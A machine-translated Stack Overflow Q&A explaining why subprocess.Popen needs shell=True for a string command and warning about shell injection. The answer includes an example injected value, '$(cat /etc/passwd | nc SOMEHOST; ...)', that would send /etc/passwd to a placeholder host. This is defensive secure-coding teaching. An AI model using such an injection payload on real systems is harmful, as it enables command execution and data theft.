python - 通过 python 子进程启动 linux 命令不能按预期工作

标签 python linux python-2.7 ubuntu subprocess

我正在尝试终止之前启动的特定 python 进程,我们称它为 test.py
Linux 中终止它的命令是:sudo pkill -f test.py-> 很有魅力。

然而,当尝试通过 python 代码启动时:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到一个堆栈跟踪 OSError: [Errno 2] No such file or directory

知道我做错了什么吗?

最佳答案

默认情况下,subprocess.Popen会将字符串参数解释为确切的命令名称。所以,你传递一个字符串 foo bar , 它将尝试定位名为 foo bar 的可执行文件并在没有参数的情况下调用它。与交互式 shell 不同,它不会执行命令 foo使用单个参数 bar .

当您键入 foo "bar baz" 时或 foo | bar到 shell 中,是 shell 将参数行拆分为单词并将这些单词解释为命令名称、参数、管道定界符、重定向运算符等。subprocess.Popen 的最简单方法|做这种输入解释同样是通过使用 shell=True请求通过 shell 传递参数:

subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)

不幸的是,作为noted in the documentation , 这种方便的快捷方式具有安全隐患。使用 shell=True只要要运行的命令是固定的(并忽略明显的无密码 sudo 的明显安全隐患)就是安全的。当参数是从其他来源的片段组装而成时,就会出现问题。例如:

# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
                 stdout=subprocess.PIPE)

这里我们从网络连接中读取参数,并将其拼接成传递给 shell 的字符串。除了恶意制作的对等点能够杀死系统上的任意进程这一明显问题(以 root 身份,不少于此),实际上比这更糟。由于 shell 是一个通用工具,攻击者可以使用 command substitution和类似的功能,使系统做任何它想做的事。例如,如果套接字发送字符串 $(cat /etc/passwd | nc SOMEHOST; echo process-name) , Popen以上将使用shell执行:

sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)

这就是为什么通常建议不要使用 shell=True 的原因在不受信任的输入上。更安全的替代方法是避免运行 shell:

# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)

在这种情况下,即使恶意对等点将一些奇怪的东西塞进字符串中,也不会成为问题,因为它会按字面意思发送到命令执行。在上面的示例中,pkill命令将收到终止名为 $(cat ...) 的进程的请求,但是没有 shell 来解释这个请求以执行括号内的命令。

即使没有 shell,如果执行的命令(在本例中为 sudopkill)本身容易受到注入(inject)攻击,那么使用不受信任的输入调用外部命令仍然是不安全的。

关于python - 通过 python 子进程启动 linux 命令不能按预期工作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34068121/

相关文章:

python - 类型错误 Iter - Python3

python - 在 Django 中有效地获取相关模型的数量

python - Pandas Dataframe 循环遍历列效率低下

python - CNN 模型训练 - 资源耗尽(Python 和 Tensorflow)

python - 为什么 python 在解密 AES 时将 ""添加到我的文件名中?

python-2.7 - SSL证书下载

python - 如何计算代码中关键字的出现次数,但忽略注释/文档字符串中的关键字?

python - 如何在 Visual Studio Code 中查找/执行 Python 交互模式?

php - 编译安装php 5.3.9时zip.so在哪里

linux - 未定义对 `__gcov_exit' 的引用?